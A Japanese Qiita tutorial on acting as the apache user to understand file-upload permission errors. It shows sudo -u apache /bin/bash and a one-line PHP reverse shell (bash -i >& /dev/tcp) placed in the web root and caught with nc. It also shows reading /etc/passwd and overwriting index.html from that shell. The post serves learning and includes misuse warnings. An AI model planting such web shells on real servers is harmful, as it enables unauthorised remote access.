2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

Apacheの気持ちになってみる方法 ~ apache userでloginしてみる2つの方法

Posted at

何の記事

ファイルアップローダを作るとよく起こる permission ありませんエラー。

SEになって最初の頃、これがどういうことなのかわからなかった。
apacheになれれば、書き込めない状態がどうなってるかを理解できるのに。
そう思っていたのでこの記事を書きました。

*この記事には良くない使い方ができてしまうことが書いてあります。利用は自分だけの環境で。悪用しないでください。

<1> apache userになる方法 Linux編

普通にapacheをinstallするとlinux上にapacheユーザが作られます。
しかし、apacheユーザとしてのloginはセキュリティ的に禁止されています(解除することはできる)

[root@my.example.com:/var/www/html#] su apache
This account is currently not available.

理由はだいたい linux の nologin を使ってloginできないようにしています。

# ] cat /etc/passwd | grep apache
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin

または /etc/nologin がある

そこらへんいじれば無理やり login することも可能です。↓は /etc/passwd でlogin shellをnologinにされてる場合の回避方法。

root@example.com:/# sudo -u apache /bin/bash
apache@example.com:/$   <----ユーザが変わった

ここらへんは linux nologin とかでぐぐればわかります。

ちなみにこのapacheユーザの環境変数には、sudo前のユーザの環境変数が混ざっています

apache@my.example.com:/tmp$ env | sort
...
MAIL=/var/spool/mail/root
SUDO_USER=root
USER=apache
USERNAME=apache
...

apacheになったのにrootの環境変数が残っているのがわかります。

sudoって、変身前のユーザの環境変数を env_keep という設定である程度引き継ぐことができるんですね。

参考 https://qiita.com/chroju/items/375582799acd3c5137c7

<2> apache userになる方法 phpからapacheになりきる編

さっきのはlinux的にapache userとして login しましたが、phpファイル経由でapacheユーザになってみるということをしてみます。

local userとphpファイルが使えるとこんなこともできるという話を始めます。

*悪用しないでください
*決して公開サーバで試さないでください
*終わったら作ったファイルは消してください

作業はすべて webサーバ上で行います。
php-reverse-shellというツールをwebサーバの公開ディレクトリに置いておきます。

[root@my.example.com:/var/www/html#] wget https://gist.githubusercontent.com/rshipp/eee36684db07d234c1cc/raw/9907b98ec63c6ad9bf5f39d14d07d9a3765f9079/shell.php

[root@my.example.com:/var/www/html#] ls shell.php
shell.php

phpファイルの中身はたった1行→ https://gist.github.com/rshipp/eee36684db07d234c1cc

IPアドレス(10.0.0.10)の部分を あなたのwebサーバのIPアドレスに変えます。

vim shell.php

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

shellが来たら受け取れるように準備します。下記コマンドを叩くと動きが止まりますがそれで成功しています。

[root@my.example.com:/var/www/html#] nc -lvp 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

ブラウザからshell.phpにアクセスしてみます。

これの意味するところは、phpを動かすapache userの権限でphp fileを実行するということです。

別のshellがあれば、curl/wgetでもいいです。

# ncを叩いたのとは違うshell
[root@my.example.com:/var/www/html#] curl localhost/shell.php

アクセスするとbashが起動する


Ncat: Connection from 10.1.2.3.
Ncat: Connection from 10.1.2.3:40678.
bash: no job control in this shell
bash-4.2$

Viola!
nc -lvp 1234P で待っていたシェルに動きがありました。何が起こったのか確認してみましょう。

自分がapacheになっています。

bash-4.2$ whoami
whoami
apache

groupもapacheです。

bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)

自分はどこにいるの? 引き続きwebサーバの中です。

bash-4.2$ hostname
hostname
my.example.com

サーバのIPがわかります。

bash-4.2$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP>
    inet 127.0.0.1/8 scope host lo
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP>
    inet 10.1.2.3/21 brd 10.1.0.0 scope global dynamic eth0

カレントディレクトリはここです。これはapacheのDocument_Rootを見ているのだろうか?

bash-4.2$ pwd
pwd
/var/www/html

ファイルも見れます。

bash-4.2$ ls -l
ls -l
total 1128
-rw-r--r-- 1 apache apache       2 Mar 29  2019 index.html
-rw-r--r-- 1 root   root        75 Jul 13 10:42 shell.php

ownerがapache or 書き込み権限があるファイルは書き換えられます。

bash-4.2$ echo ZZZZZZZZZZZZZZ > index.html

bash-4.2$ cat index.html
ZZZZZZZZZZZZZZ

/etc/passwdも見れます。

bash-4.2$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:Syste
~

/etc/shadow(linux userのパスワードが保存されている) は見れません

bash-4.2$ cat /etc/shadow
cat /etc/shadow
cat: /etc/shadow: Permission denied

当然ながら /etc/shadow を書き換える権限はありません

bash-4.2$ echo 1 > /etc/shadow
echo 1 > /etc/shadow
bash: /etc/shadow: Permission denied

sudoはできません

bash-4.2$ sudo yum install sl
sudo yum install sl

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

sudo: no tty present and no askpass program specified

ここからsudoを叩けたり、rootになれたりするのが脆弱性と呼ばれるものです。

env を見てみましょう。

bash-4.2$ env
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
_=/usr/bin/env
PWD=/var/www/html
LANG=C
NOTIFY_SOCKET=/run/systemd/notify
SHLVL=3
_=/usr/bin/env

めっちゃシンプルです。

一通りデバッグが終わったら、 shell.php必ず削除 しておきましょう。

まとめ

apacheユーザはコマンドを叩けるし、非公開なファイルを見れることがわかったと思います。

たった1行のphpだけで、sudoも、 /etc/passwd/etc/sudoers の書き換えもせず、ログインできる状態になってしまいました。

適切なセキュリティを常に意識しておきましょう。あれ、趣旨が変わっている。

おわり。

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?